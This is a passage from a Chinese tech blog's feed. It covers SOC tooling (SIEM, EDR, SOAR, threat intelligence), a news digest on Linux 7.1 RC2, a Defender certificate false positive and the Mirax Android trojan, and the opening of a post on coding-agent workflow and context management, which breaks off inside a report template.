fa-external-link-alt"></i></a></li><li>面向全网安全监测与运营的综合平台，强调资产视角、态势展示和攻击关联分析。</li></ul><img src="/2026/05/05/2026-05-05-soc/venustech.png" class="" title="启明星辰态势感知平台"><h3 id="SIEM"><a href="#SIEM" class="headerlink" title="SIEM"></a>SIEM</h3><p>SIEM（Security Information and Event Management）可以理解成安全日志与事件的汇聚分析平台。它会持续收集环境中的日志，再通过规则、过滤器和关联分析，把可疑行为变成告警。比如某个 Windows 账户在 10 秒内连续输错 20 次密码，这通常已经超出“记错密码”的范围，SIEM 就可以按规则把它标记出来。</p><p>对安全分析师来说，SIEM 往往就是工作的起点。分析师平时最常接触的不是规则开发本身，而是规则产出的告警，再结合 EDR、日志平台、威胁情报等信息判断它到底是真实威胁，还是误报。误报在 SOC 里很常见，例如有人搜索了带 <code>union</code> 关键字的正常 URL，却被规则误判成 SQL 注入尝试；这类情况如果能及时反馈给规则维护人员，后续告警质量通常会明显提高。</p><h3 id="日志管理"><a href="#日志管理" class="headerlink" title="日志管理"></a>日志管理</h3><p>日志管理的核心价值，是把代理、系统、防火墙、邮件、EDR 等不同来源的日志统一汇集到一个地方，方便分析师用一次查询横跨多类日志源做排查。对 SOC 分析师来说，它最常见的用途就是围绕某个可疑对象做检索，例如恶意域名、可疑 IP、文件哈希或通信目标，快速确认是否还有其他主机与之发生过关联。换句话说，SIEM 负责把问题抛出来，日志管理则更像调查阶段的放大镜，用来补全细节、扩大战果，并发现告警之外可能被漏掉的关联活动。</p><h3 id="EDR"><a href="#EDR" class="headerlink" title="EDR"></a>EDR</h3><p>EDR（终端检测与响应）是 SOC 分析师排查主机问题时最常用的工具之一。它会持续采集终端上的进程、文件、网络连接等行为数据，帮助分析师从单台主机的视角还原攻击过程，并在需要时直接连到终端做进一步调查。除了查看设备详情、进程列表和连接记录，EDR 还支持按 IOC 在全网终端中检索，例如文件哈希、文件名、进程名或 IP，从而快速判断影响范围。更重要的是，EDR 通常具备隔离能力：当主机确认失陷后，可以先将其与内外网隔离，阻止攻击者继续横向移动，同时保留它与 EDR 控制端的通信，方便分析师继续取证和处置。相较于日志管理的“横向搜集”，EDR 更像是把视角压到单台主机内部去看清到底发生了什么。</p><h3 id="SOAR"><a href="#SOAR" class="headerlink" title="SOAR"></a>SOAR</h3><p>SOAR（安全编排、自动化与响应）可以理解成把各类安全工具串起来的中枢平台。它的价值不在于单独发现威胁，而在于把查询、联动和处置流程自动化，例如对 SIEM 告警里的 IP 自动查信誉、对文件哈希自动做检索、把可疑样本送进沙箱，或者按预设步骤推动调查。对分析师来说，SOAR 一方面能节省重复操作时间，另一方面也能通过 playbook 把调查流程标准化，减少不同成员处理方式不一致的问题。简单说，前面的平台负责“看见”和“查明”，SOAR 负责把这些步骤真正串起来，提升整个 SOC 的响应效率。</p><h3 id="威胁情报"><a href="#威胁情报" class="headerlink" title="威胁情报"></a>威胁情报</h3><p>威胁情报源可以理解成第三方持续提供的恶意样本哈希、C2 域名、恶意 IP、URL 等情报数据，目的是让 SOC 团队尽快知道外部正在流行什么威胁，并把这些信息带回调查现场。对分析师来说，最常见的用法就是拿手上的可疑对象去查，例如文件哈希、域名或 IP，看它是否曾在恶意活动中出现过；常见的免费来源包括 VirusTotal 和 Talos Intelligence。不过情报命中与否都不能直接替代分析本身：一个样本没有命中情报源，不代表它就是干净的；同样，一个 IP 过去曾被用于恶意活动，也不代表它现在仍然恶意，因为云主机和公网 IP 可能早已换了主人。威胁情报更像调查判断的参考系，而不是最终结论。</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>如果把 SOC 看成一支长期值守的防御力量，那么模式决定它如何落地，人员、流程和技术决定它能否稳定运转，岗位分工决定它如何协同，而 SIEM、日志管理、EDR、SOAR 与威胁情报这些平台，则决定它在真正出事时能不能看清问题、查透影响，并及时做出处置。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="寒冰哨所" scheme="https://www.fireflycamp.net/categories/%E5%AF%92%E5%86%B0%E5%93%A8%E6%89%80/"/>
    
    <category term="SOC" scheme="https://www.fireflycamp.net/categories/%E5%AF%92%E5%86%B0%E5%93%A8%E6%89%80/SOC/"/>
    
    
    <category term="SIEM" scheme="https://www.fireflycamp.net/tags/SIEM/"/>
    
    <category term="EDR" scheme="https://www.fireflycamp.net/tags/EDR/"/>
    
    <category term="SOAR" scheme="https://www.fireflycamp.net/tags/SOAR/"/>
    
    <category term="TI" scheme="https://www.fireflycamp.net/tags/TI/"/>
    
  </entry>
  
  <entry>
    <title>见闻｜AI 开始渗透 Linux 内核开发</title>
    <link href="https://www.fireflycamp.net/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/"/>
    <id>https://www.fireflycamp.net/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/</id>
    <published>2026-05-04T17:15:17.000Z</published>
    <updated>2026-05-05T08:18:27.208Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><img src="/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/ai-linux.webp" class="" title="AI Linux"><h2 id="Linux-7-1-RC2-发布"><a href="#Linux-7-1-RC2-发布" class="headerlink" title="Linux 7.1 RC2 发布"></a>Linux 7.1 RC2 发布</h2><p>5月4日，Linux 7.1 RC2 发布<sup id="fnref-1"><a href="#fn-1">[1]</a></sup>。Linus Torvalds 特别指出：本轮补丁中，KVM 虚拟化模块测试代码的变更占比异常偏高。这并不是因为 KVM 突然大改，而是开发者对测试代码做了大规模重命名和整理，使其更符合内核编码规范。</p><img src="/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/linux.webp" class="" title="Linux 7.1 RC2"><p>Torvalds 认为，这让本次 RC 看起来“体量偏大、风格反常”。更值得注意的是，他把这种补丁数量的膨胀与 AI 开发工具联系了起来：在 AI 辅助编程普及之后，开发者更容易批量生成重构、重命名、格式统一和测试补全这类改动，汇总到版本更新后，就会明显推高补丁数量和代码变更规模。Torvalds 还提到，这种现象在 Linux 7.0 周期里就已经开始出现。某种程度上，这也说明 AI 的影响已经不止停留在应用层开发，连 Linux 内核这样的底层项目，也开始受到 AI 对开发节奏和代码产出的影响。</p><p>除这类自测试相关改动外，本次更新还修复了多项显卡、网络与存储问题，包括 AMD 和英特尔显卡驱动中的内存泄漏、缓冲区溢出与电源管理回退，以及 NVMe、TLS、RAID10、NTFS 和 ICE 驱动栈中的若干缺陷。按照惯例，Linux 内核在正式版发布前通常会每周推出一个 RC（候选版本），从 RC1 一路迭代到 RC7 左右，再视情况进入正式发布；如果后续问题较多，也可能追加 RC8，使正式版顺延一周。照目前节奏看，Linux 7.1 大概率仍会按期推进。</p><h2 id="Windows-Defender-把-Win11-系统根证书当成木马"><a href="#Windows-Defender-把-Win11-系统根证书当成木马" class="headerlink" title="Windows Defender 把 Win11 系统根证书当成木马"></a>Windows Defender 把 Win11 系统根证书当成木马</h2><p>根据科技媒体 Bleeping Computer 5月3日报道<sup id="fnref-2"><a href="#fn-2">[2]</a></sup>，微软 Windows 11 自带杀毒软件 Defender 在近期一次病毒库更新中，误将 Windows 信任存储中的两个合法 DigiCert 根证书识别为木马，并自动隔离甚至删除。DigiCert 是一家数字证书颁发机构（CA），其根证书被系统用作验证网站和软件签名可信性。</p><img src="/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/ms.jpg" class="" title="Microsoft Defender"><p>网络安全专家 Florian Roth 表示，微软在 4 月 30 日更新病毒库时，原本是为了应对 DigiCert 相关安全事件，防止攻击者在非法获取签名证书后为恶意软件签名。但由于新增检测规则过于宽泛，系统中的两个合法 DigiCert 根证书也被一并误报，部分用户随后出现网站无法打开、应用报错等问题，甚至有人误以为设备中毒而重装系统。</p><p>微软随后承认该检测逻辑被错误触发，并表示已在 Security Intelligence 1.449.430.0 版本中修复问题。默认情况下，Defender 会自动安装更新，因此多数用户只需等待病毒库升级即可恢复正常。</p><h2 id="豆包将推出付费订阅版"><a href="#豆包将推出付费订阅版" class="headerlink" title="豆包将推出付费订阅版"></a>豆包将推出付费订阅版</h2><p>5月4日，苹果应用商店页面显示，字节跳动旗下 AI 助手豆包将在免费版基础上推出付费订阅服务，以覆盖不同层级的使用需求<sup id="fnref-3"><a href="#fn-3">[3]</a></sup>。现有免费版仍将保留，用于满足日常体验和基础使用场景。</p><img src="/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/doubao.jpg" class="" title="Doubao"><p>从页面披露的信息看，豆包付费版至少分为三个档位：标准版连续包月 68 元、连续包年 688 元；加强版连续包月 200 元、连续包年 2048 元；专业版连续包月 500 元、连续包年 5088 元。对比当前主流 AI 产品的定价，这一方案已经明显进入中高价位区间，也说明国内通用 AI 助手开始从“拉新免费”逐步转向更明确的分层变现。</p><h2 id="Mirax-木马把-Android-手机变成住宅代理节点"><a href="#Mirax-木马把-Android-手机变成住宅代理节点" class="headerlink" title="Mirax 木马把 Android 手机变成住宅代理节点"></a>Mirax 木马把 Android 手机变成住宅代理节点</h2><p>安全公司 Cleafy 近日披露，一种名为 Mirax 的新型 Android 木马正在欧洲扩散，并已通过 Meta 广告触达超过 20 万个账号<sup id="fnref-4"><a href="#fn-4">[4]</a></sup>。受害者会被诱导下载安装伪装成 IPTV、IoT 工具等应用的恶意 APK，木马随后借助辅助功能权限实现远程控制、屏幕监控、覆盖层注入和数据窃取。</p><img src="/2026/05/05/2026-05-05-%E8%A7%81%E9%97%BB/mirax.png" class="" title="Mirax"><p>Mirax 最危险的一点在于，它不仅是传统意义上的远控木马，还会把感染设备转换成 <code>SOCKS5</code> 住宅代理节点，让攻击者能够借助受害者真实 IP 发起后续操作，绕过地理限制和部分风控机制。手机一旦中招，既可能被直接窃取敏感信息，也可能被顺手征用为黑产基础设施的一部分。</p><hr><div id="fn-1">[1] Phoronix, "Linux 7.1-rc2 Released With Audio Fix For Steam Deck OLED, Other Fixes", 2026-05-03, <a class="link"   href="https://www.phoronix.com/news/Linux-7.1-rc2-Released"  target="_blank" rel="noopener">https://www.phoronix.com/news/Linux-7.1-rc2-Released<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-1">↩</a></div><div id="fn-2">[2] Bleeping Computer, "Microsoft Defender wrongly flags DigiCert certs as Trojan:Win32/Cerbu. gen!A", 2026-05-03, <a class="link"   href="https://www.bleepingcomputer.com/news/security/microsoft-defender-wrongly-flags-digicert-certs-as-trojan-win32-cerdigentadha/"  target="_blank" rel="noopener">https://www.bleepingcomputer.com/news/security/microsoft-defender-wrongly-flags-digicert-certs-as-trojan-win32-cerdigentadha/<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-2">↩</a></div><div id="fn-3">[3] 财新, "豆包将在免费版基础上推出付费版本", 2026-05-04, <a class="link"   href="https://companies.caixin.com/2026-05-04/102440597.html"  target="_blank" rel="noopener">https://companies.caixin.com/2026-05-04/102440597.html<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-3">↩</a></div><div id="fn-4">[4] Cleafy Labs, "Mirax: a new Android RAT turning infected devices into potential residential proxy nodes", 2026-04-10, <a class="link"   href="https://www.cleafy.com/cleafy-labs/mirax-a-new-android-rat-turning-infected-devices-into-potential-residential-proxy-nodes"  target="_blank" rel="noopener">https://www.cleafy.com/cleafy-labs/mirax-a-new-android-rat-turning-infected-devices-into-potential-residential-proxy-nodes<i class="fas fa-external-link-alt"></i></a> <a href="#fnref-4">↩</a></div>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="冰原见闻" scheme="https://www.fireflycamp.net/categories/%E5%86%B0%E5%8E%9F%E8%A7%81%E9%97%BB/"/>
    
    
    <category term="Android" scheme="https://www.fireflycamp.net/tags/Android/"/>
    
    <category term="AI" scheme="https://www.fireflycamp.net/tags/AI/"/>
    
    <category term="Linux" scheme="https://www.fireflycamp.net/tags/Linux/"/>
    
    <category term="Windows" scheme="https://www.fireflycamp.net/tags/Windows/"/>
    
    <category term="Cybersecurity" scheme="https://www.fireflycamp.net/tags/Cybersecurity/"/>
    
  </entry>
  
  <entry>
    <title>大模型应用：代码智能体工程化实践</title>
    <link href="https://www.fireflycamp.net/2026/01/18/2025-01-18-llmapp-coding-agent/"/>
    <id>https://www.fireflycamp.net/2026/01/18/2025-01-18-llmapp-coding-agent/</id>
    <published>2026-01-18T12:05:08.000Z</published>
    <updated>2026-01-24T20:37:30.662Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/2026/01/18/2025-01-18-llmapp-coding-agent/cover.jpeg" class=""><h1 id="背景：IDE-简史"><a href="#背景：IDE-简史" class="headerlink" title="背景：IDE 简史"></a>背景：IDE 简史</h1><p>IDE 是开发者的工作环境。它将编辑器、编译器、调试器以及各类开发工具整合到一个统一的空间中。</p><p>在 IDE 出现之前的远古时期，开发环境是由一个个零散的工具组成。编辑、编译、链接、调试分别发生在不同程序中，开发者需要自己完成拼接。</p><p>这一局面在 <strong>Turbo Pascal（1983）</strong> 出现后发生了改变。Turbo Pascal 将编辑器、编译器和链接器整合为一个整体，面向 Pascal 语言提供端到端的开发体验。通过减少工具切换，显著提升了开发效率。</p><p>随后是 <strong>Microsoft Visual Studio（1997）</strong>。Visual Studio 引入了更完整的调试体系和项目系统，其核心模块 IntelliSense 可以基于语义提供代码补全和提示。这标志着 IDE 开始理解代码结构。</p><p>进入 21 世纪，<strong>IntelliJ IDEA（2001）</strong> 将“代码理解”推进到新的层级。通过全项目索引、精确的重构能力以及跨文件的导航，IDEA 将理解的范围从“当前文件”扩展到了“整个代码库”。</p><p><strong>Visual Studio Code（2015）</strong> 则选择了不同的方向。VS Code 保持轻核心，将语言理解通过插件机制和<strong>LSP协议</strong>外包给外部插件。这一步将代码理解能力从 IDE 中解耦了出来，IDE 开始成为一个聚合上下文的平台。</p><p>在这一分化路径上，出现了两种截然不同的演进方向。</p><p>一条路线以 <strong>Cursor（2023）</strong> 为代表。Cursor 将语言模型深度嵌入 IDE 的各个环节，从代码生成、重构到调试，IDE 本身开始参与上下文组织，并主导与模型的交互。</p><p>另一条路线则以 <strong>Zed（2023）</strong> 为代表。Zed 保持编辑器的克制定位，将“思考”通过<strong>ACP协议</strong>外包给外部智能体，将智能体从 IDE 中解耦了出来。</p><p>在这种架构下，像 <strong>Claude Code（2024）</strong> 这样的代码智能体开始脱离 IDE 本体运行，独立承担代码理解、规划与执行的职责，而 IDE 退回到“观察、编辑与呈现”的角色。</p><p>今天的代码智能体正是在这一历史背景下出现的。代码智能体的价值，最终取决于它是否能在可控可重复的流程中工作，这也引来了一个新的问题 —— 如何为代码智能体设计一套可工程化的工作流程？</p><h1 id="上下文管理"><a href="#上下文管理" class="headerlink" title="上下文管理"></a>上下文管理</h1><p>在一场对话中，智能体会维持一个<strong>上下文窗口</strong>，并且在每次推理时会把该窗口输入到模型中。窗口的长度是<strong>有限的</strong>，并且会<strong>随时间滑动</strong> – 新的输入不断进入，旧的内容会被挤出窗口之外（但在实践中例如系统指示及 MCP 工具的关键上下文会被保护）。模型不会看到窗口外的内容，只基于当前窗口进行生成：</p><img src="/2026/01/18/2025-01-18-llmapp-coding-agent/context-diagram.svg" class=""><p>窗口由多种信息共同构成：</p><ul><li>系统指示，用于定义全局行为与约束</li><li>用户输入，描述当前任务目标</li><li>工具调用，工具调用请求以及返回结果，一般为结构化数据</li><li>智能体输出，对用户任务的答复</li></ul><p>在不微调模型的前提下，上下文窗口是模型进行推理的唯一输入来源，直接决定输出的质量。因此，需要有一套明确的管理方法确保模型在一个<strong>正确</strong>、<strong>完整</strong>、<strong>长度受控</strong>且<strong>信噪比足够高</strong>的上下文窗口下运行。</p><h2 id="无管理"><a href="#无管理" class="headerlink" title="无管理"></a>无管理</h2><p>这里有一种朴素的做法：自由提问，并祈祷自己在反复询问中接近目标。在这个过程中，上下文完全依赖对话历史线形积累，并且按照笔者本人的经验，对话会在以下几个时刻崩溃：</p><ul><li>对话长度失控，应用开始卡顿，上下文濒临溢出</li><li>对话内容失控，智能体反复道歉的同时不断给出离谱答复</li></ul><p>失控发生时，一个补救的做法是：丢弃当前会话，重开一个新会话并在最初的提示词里加入更多的约束和指引，希望这一次能回到正轨。这种方法并没有真正解决上下文管理的问题，它只是通过反复重置上下文来掩盖上下文本身缺乏约束的事实。这种方法只适合短任务，对于复杂任务很容易使得对话走向失控。</p><h2 id="上下文压缩"><a href="#上下文压缩" class="headerlink" title="上下文压缩"></a>上下文压缩</h2><p>一个对上述方法的改进措施是进行<strong>上下文压缩</strong>：当上下文变得臃肿时，暂停当前对话并让智能体做一个总结：</p><blockquote><p>把当前的对话总结成文档<code>progress.md</code>，明确最终目标、当前采用的方案、已经完成的步骤以及正在解决的问题。</p></blockquote><p>随后，在新的会话开始时输入：</p><blockquote><p>阅读<code>progress.md</code>。</p></blockquote><img src="/2026/01/18/2025-01-18-llmapp-coding-agent/context-compaction-diagram.svg" class=""><p>这种方式对上下文进行了提炼，丢弃了大量临时、过程性的信息，包括：</p><ul><li>多轮代码的修改与回滚</li><li>工具返回的大段 JSON 数据</li><li>各种日志</li></ul><p>这些信息只在当下是必要的，但不需要长期存在于上下文中。最终的目标是把上下文提炼出稳定、可复用的结构化产物。不过，这种方式仍然是一种事后修正：只有在上下文变得臃肿之后，才通过总结来收拾残局。</p><h2 id="子智能体委托"><a href="#子智能体委托" class="headerlink" title="子智能体委托"></a>子智能体委托</h2><p><strong>子智能体委托</strong>提供了另一种更为前置的管理策略。其核心思想是一些<strong>辅助性任务</strong>，例如文件搜索、代码理解，中间产生的细节信息并没有必要长期留存在窗口中，后续的推理也只是需要这些任务的最终结果。智能体接受到此类任务时，分裂出一个有独立上下文窗口的子智能体并把任务委托给它，子智能体完成任务后把最终结果返回到主智能体的上下文：</p><img src="/2026/01/18/2025-01-18-llmapp-coding-agent/subagent-diagram.svg" class=""><p>对种做法将这些任务的推理过程从主窗口中剥离了出来，提升了主窗口的信噪比的同时控制了总长度。</p><h2 id="阶段化"><a href="#阶段化" class="headerlink" title="阶段化"></a>阶段化</h2><p>通过阶段化工作流程，明确划分每个阶段的职责边界、输入与输出，将复杂任务拆解为 <strong>调研—规划—实现</strong> 三类基础阶段，并在阶段切换处引入<strong>人工审查</strong>，以避免决策混杂和上下文失控：</p><img src="/2026/01/18/2025-01-18-llmapp-coding-agent/structured-context-diagram.svg" class=""><p>这一流程利用了上下文压缩进行阶段间的过渡。高噪声、探索性的工作被隔离在单独的上下文中，并通过子智能体委托完成。</p><h3 id="调研"><a href="#调研" class="headerlink" title="调研"></a>调研</h3><p>这一阶段的目标是搜集并确认事实，以建立对问题的准确理解，并输出一份调研报告。这一阶段通常涉及大量代码文件的查找、阅读与路径梳理。下文给出一份调研报告模版：</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="section"># 调研报告：&lt;调研主题&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="strong">**日期**</span>：<span class="language-xml"><span class="tag">&lt;<span class="name">YYYY-MM-DD</span>&gt;</span></span>  </span><br><span class="line"><span class="strong">**调研人**</span>：&lt;姓名&gt;  </span><br><span class="line"><span class="strong">**关联仓库**</span>：<span class="language-xml"><span class="tag">&lt;<span class="name">repo</span>&gt;</span></span>  </span><br><span class="line"><span class="strong">**分支**</span>：<span class="language-xml"><span class="tag">&lt;<span class="name">branch</span>&gt;</span></span>  </span><br><span class="line"><span class="strong">**关联提交**</span>：<span class="language-xml"><span class="tag">&lt;<span class="name">commit</span> <span class="attr">hash</span>，<span class="attr">可选</span>&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="section">## 一、调研问题</span></span><br><span class="line"></span><br><span class="line">简要描述本次调研要解决的问题，包括：</span><br><span class="line"><span class="bullet">-</span> 问题背景</span><br><span class="line"><span class="bullet">-</span> 具体问题</span><br><span class="line"><span class="bullet">-</span> 期望行为</span><br><span class="line"><span class="bullet">-</span> 调研目标</span><br><span class="line"></span><br><span class="line"><span class="quote">&gt; 示例：  </span></span><br><span class="line"><span class="quote">&gt; Issue #XXXX 报告在某场景下出现 A 行为，但系统实际表现为 B，需要明确原因并确定修复位置。</span></span><br><span class="line"></span><br><span class="line"><span class="section">## 二、结论摘要</span></span><br><span class="line"></span><br><span class="line">用 <span class="strong">**几条要点**</span> 概括最终结论，包括：</span><br><span class="line"><span class="bullet">1.</span> 根因是什么  </span><br><span class="line"><span class="bullet">2.</span> 为什么会发生 </span><br><span class="line"><span class="bullet">3.</span> 修复是否明确，是否简单  </span><br><span class="line"><span class="bullet">4.</span> 修复应放在哪一层</span><br><span class="line"></span><br><span class="line"><span class="section">## 三、详细分析</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 相关模块</span></span><br><span class="line"></span><br><span class="line">说明涉及到的系统模块、流程或架构层次，例如：</span><br><span class="line"><span class="bullet">-</span> 解析阶段</span><br><span class="line"><span class="bullet">-</span> 语义校验阶段</span><br><span class="line"><span class="bullet">-</span> 运行时阶段</span><br><span class="line"><span class="bullet">-</span> 配置 / DSL / AST 结构</span><br><span class="line"></span><br><span class="line"><span class="section">### 行为分析</span></span><br><span class="line"></span><br><span class="line">逐步说明问题是<span class="strong">**在哪一层开始出现的**</span>：</span><br><span class="line"></span><br><span class="line"><span class="bullet">-</span> 哪些输入被接受了</span><br><span class="line"><span class="bullet">-</span> 哪些校验缺失或未触发</span><br><span class="line"><span class="bullet">-</span> 哪些数据被忽略 / 丢弃 / 未使用</span><br><span class="line"><span class="bullet">-</span> 最终导致的行为偏差</span><br><span class="line"></span><br><span class="line"><span class="section">### 关键代码路径</span></span><br><span class="line"></span><br><span class="line">列出关键文件、模块或函数，用于后续定位和修复。</span><br><span class="line"></span><br><span class="line"><span class="code">```text</span></span><br><span class="line"><span class="code">&lt;模块路径&gt;:&lt;大致行号&gt;</span></span><br><span class="line"><span class="code">- 作用说明</span></span><br><span class="line"><span class="code">- 与问题的关系</span></span><br><span class="line"><span class="code">````</span></span><br><span class="line"></span><br><span class="line">如有必要，可附少量关键代码片段（非完整实现）。</span><br><span class="line"></span><br><span class="line"><span class="section">### 运行分析</span></span><br><span class="line"></span><br><span class="line">说明：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 哪些数据在运行时被真正使用</span><br><span class="line"><span class="bullet">*</span> 哪些结果被纳入最终判定</span><br><span class="line"><span class="bullet">*</span> 哪些结果被计算了但未生效</span><br><span class="line"></span><br><span class="line"><span class="section">## 四、修复建议</span></span><br><span class="line"></span><br><span class="line"><span class="section">### 修复位置</span></span><br><span class="line"></span><br><span class="line">说明<span class="strong">**最合理的修复层级**</span>。</span><br><span class="line"></span><br><span class="line"><span class="section">### 修复思路</span></span><br><span class="line"></span><br><span class="line">用自然语言描述修复策略，例如：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 增加显式校验</span><br><span class="line"><span class="bullet">*</span> 拒绝非法用法</span><br><span class="line"><span class="bullet">*</span> 提供错误信息</span><br><span class="line"><span class="bullet">*</span> 防止静默故障</span><br><span class="line"></span><br><span class="line">如适合，可给出伪代码或逻辑示意。</span><br><span class="line"></span><br><span class="line"><span class="section">## 五、架构设计</span></span><br><span class="line"></span><br><span class="line">总结本次调研对整体系统设计的启示，例如：</span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 语法与语义分离是否清晰</span><br><span class="line"><span class="bullet">*</span> 校验职责是否遗漏</span><br><span class="line"><span class="bullet">*</span> 现有设计是否容易产生静默故障</span><br><span class="line"><span class="bullet">*</span> 是否符合系统的一贯设计原则</span><br><span class="line"></span><br><span class="line"><span class="section">## 六、相关资料</span></span><br><span class="line"></span><br><span class="line"><span class="bullet">*</span> 关联 Issue / 设计文档</span><br><span class="line"><span class="bullet">*</span> 过往修改或讨论</span><br><span class="line"><span class="bullet">*</span> Changelog / TODO / notes</span><br><span class="line"></span><br><span class="line"><span class="section">## 七、遗留问题</span></span><br><span class="line"></span><br><span class="line">列出仍需进一步确认的问题，例如：</span><br><span class="line"></span><br><span class="line"><span class="bullet">1.</span> 是否需要补充测试用例？</span><br><span class="line"><span class="bullet">2.</span> 是否存在类似问题的其他场景？</span><br><span class="line"><span class="bullet">3.</span> 是否需要同步更新文档或规范？</span><br></pre></td></tr></table></figure><h3 id="规划"><a href="#规划" class="headerlink" title="规划"></a>规划</h3><p>这一阶段的目标是把之前的理解转化成可执行的操作序列，最终输出一份技术方案。下文给出一份技术方案模版：</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span 